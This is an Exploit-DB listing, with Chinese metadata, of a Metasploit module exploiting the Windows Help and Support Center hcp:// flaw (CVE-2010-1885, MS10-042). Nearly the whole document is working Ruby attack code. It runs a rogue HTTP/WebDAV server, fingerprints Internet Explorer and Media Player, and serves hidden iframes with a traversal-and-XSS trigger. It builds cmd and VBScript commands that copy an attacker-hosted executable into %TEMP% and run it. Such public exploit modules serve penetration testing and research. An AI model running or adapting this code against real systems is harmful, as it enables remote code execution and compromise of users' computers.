标题: Microsoft Help Center - Cross-Site Scripting / Command Execution (MS10-042) (Metasploit) EDB-ID: 16545 CVE: 2010-1885 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms10_042_helpctr_xss_cmd_exec.rb 10388 2010-09-20 04:37:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'   => 'Microsoft Help Center XSS and Command Execution',
   'Description' => %q{
     Help and Support Center is the default application provided to access online
    documentation for Microsoft Windows. Microsoft supports accessing help documents
    directly via URLs by installing a protocol handler for the scheme "hcp". Due to
    an error in validation of input to hcp:// combined with a local cross site
    scripting vulnerability and a specialized mechanism to launch the XSS trigger,
    arbitrary command execution can be achieved.

    On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it
    can be used to launch the exploit automatically. If IE8 and WMP11, either can
    be used to launch the attack, but both pop dialog boxes asking the user if
    execution should continue. This exploit detects if non-intrusive mechanisms are
    available and will use one if possible. In the case of both IE8 and WMP11, the
    exploit defaults to using an iframe on IE8, but is configurable by setting the
    DIALOGMECH option to "none" or "player".
   },
   'Author'  =>
    [
     'Tavis Ormandy',  # Original discovery
     'natron'          # Metasploit version
    ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision: 10388 $',
   'References' =>
    [
     [ 'CVE', '2010-1885' ],
     [ 'OSVDB', '65264' ],
     [ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ],
     [ 'MSB', 'MS10-042']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'  =>
    {
     'Space' => 2048,
    },
   'Platform'  => 'win',
   'Targets'  =>
    [
     [ 'Automatic', { } ]
    ],
   'DisclosureDate' => 'Jun 09 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new( 'SRVPORT',   [ true, "The daemon port to listen on", 80 ]),
    OptString.new( 'URIPATH',   [ true, "The URI to use.", "/" ]),
    OptString.new( 'DIALOGMECH',  [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"])
   ], self.class)

  deregister_options('SSL', 'SSLVersion') # Just for now
 end

 def on_request_uri(cli, request)

  # If there is no subdirectory in the request, we need to redirect.
  if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
   if (request.uri == '/')
    subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
   else
    subdir = request.uri + '/'
   end
   print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
   send_redirect(cli, subdir)
   return
  end


  case request.method
  when 'OPTIONS'
   process_options(cli, request)
  when 'PROPFIND'
   process_propfind(cli, request)
  when 'GET'
   process_get(cli, request)
  else
   print_error("Unexpected request method encountered: #{request.method}")
  end

 end

 def process_get(cli, request)

  @my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
  @url_base  = "http://" + @my_host

  if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri))
   print_status "Sending payload executable to target ..."
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })

   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  if request.uri.match(/\.gif$/)
   # "world's smallest gif"
   data  = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
   data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
   print_status "Sending gif image to WMP at #{cli.peerhost}:#{cli.peerport} ..."
   send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )
  end

  # ASX Request Inbound
  if request.uri.match(/\.asx$/)
   asx = %Q|<ASX VERSION="3.0">
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/>
<ENTRY>
 <REF href="URLBASE/IMGFILE"/>
</ENTRY>
</ASX>
|
   asx.gsub!(/URLBASE/, @url_base)
   asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help)
   asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file)
   print_status("Sending asx file to #{cli.peerhost}:#{cli.peerport} ...")
   send_response(cli, asx, { 'Content-Type' => 'text/html' })
   return
  end

  # iframe request inbound from either WMP or IE7
  if request.uri.match(/#{@start_help}/)

   help_html = %Q|<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">|

   rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs"
   copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
   vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
   write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
   launch_vbs  = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
   concat_cmds = "#{write_vbs}|#{launch_vbs}"

   eval_block  = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
   eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block))
   help_html.gsub!(/COMMANDS/, eval_block)
   print_status("Sending exploit trigger to #{cli.peerhost}:#{cli.peerport} ...")
   send_response(cli, help_html, { 'Content-Type' => 'text/html' })
   return
  end

  # default initial response
  js = %Q|
var asx = "URLBASE/ASXFILE";
var ifr = "URLBASE/IFRFILE";

function launchiframe(src) {
 var o = document.createElement("IFRAME");
 o.setAttribute("width","0");
 o.setAttribute("height","0");
 o.setAttribute("frameborder","0");
 o.setAttribute("src",src);
 document.body.appendChild(o);
}

if (window.navigator.appName == "Microsoft Internet Explorer") {
 var ua = window.navigator.userAgent;
 var re  = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
 re.exec(ua)
 ver = parseFloat( RegExp.$1 );

 // if ie8, check WMP version
 if (ver > 7) {
  var o = document.createElement("OBJECT");
  o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
  o.setAttribute("uiMode", "invisible");
  // if wmp9, go ahead and launch
  if( parseInt(o.versionInfo) < 10 ) {
   o.openPlayer(asx);
  // if > wmp9, only launch if user requests
  } else {
   DIALOGMECH
  }
 // if ie7, use iframe
 } else {
  launchiframe(ifr);
 }
} else {
 // if other, try iframe
 launchiframe(ifr);
}
|

  html = %Q|<html>
<head></head><body><script>JAVASCRIPTFU
</script>
</body>
</html>
|
  case datastore['DIALOGMECH']
  when "player"
   mech = "o.openPlayer(asx);"
  when "iframe"
   mech = "launchiframe(ifr);"
  when "none"
   mech = ""
  else
   mech = ""
  end

  html.gsub!(/JAVASCRIPTFU/, js)
  html.gsub!(/DIALOGMECH/, mech)
  html.gsub!(/URLBASE/, @url_base)
  html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file)
  html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help)

  print_status("Sending exploit html to #{cli.peerhost}:#{cli.peerport} ...")

  headers = {
   'Content-Type'  => 'text/html',
   #'X-UA-Compatible' => 'IE=7'
  }

  send_response(cli, html, headers)
 end

 #
 # OPTIONS requests sent by the WebDav Mini-Redirector
 #
 def process_options(cli, request)
  print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
  headers = {
   #'DASL'   => '<DAV:sql>',
   #'DAV'    => '1, 2',
   'Allow'  => 'OPTIONS, GET, PROPFIND',
   'Public' => 'OPTIONS, GET, PROPFIND'
  }
  send_response(cli, '', headers)
 end

 def convert_to_char_code(str)
  return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop
 end
 #
 # PROPFIND requests sent by the WebDav Mini-Redirector
 #
 def process_propfind(cli, request)
  path = request.uri
  print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
  body = ''

  if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path))
   # Response for the EXE
   print_status("Sending EXE multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
  elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
   print_status("Sending 404 for #{path} ...")
   send_not_found(cli)
   return

  elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
   # Response for anything else (generally just /)
   print_status("Sending directory multistatus for #{path} ...")
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

  else
   print_status("Sending 404 for #{path} ...")
   send_not_found(cli)
   return
  end

  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
 end

 def exploit
  @random_dir = rand_text_alpha(rand(2)+1)
  @asx_file = rand_text_alpha(rand(2)+1) + ".asx"
  @start_help = rand_text_alpha(rand(2)+1) + ".html"
  @payload = rand_text_alpha(rand(2)+1) + ".exe"
  @img_file = rand_text_alpha(rand(2)+1) + ".gif"

  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
   raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
  end

  super
 end
end URL: https://www.exploit-db.com/exploits/16545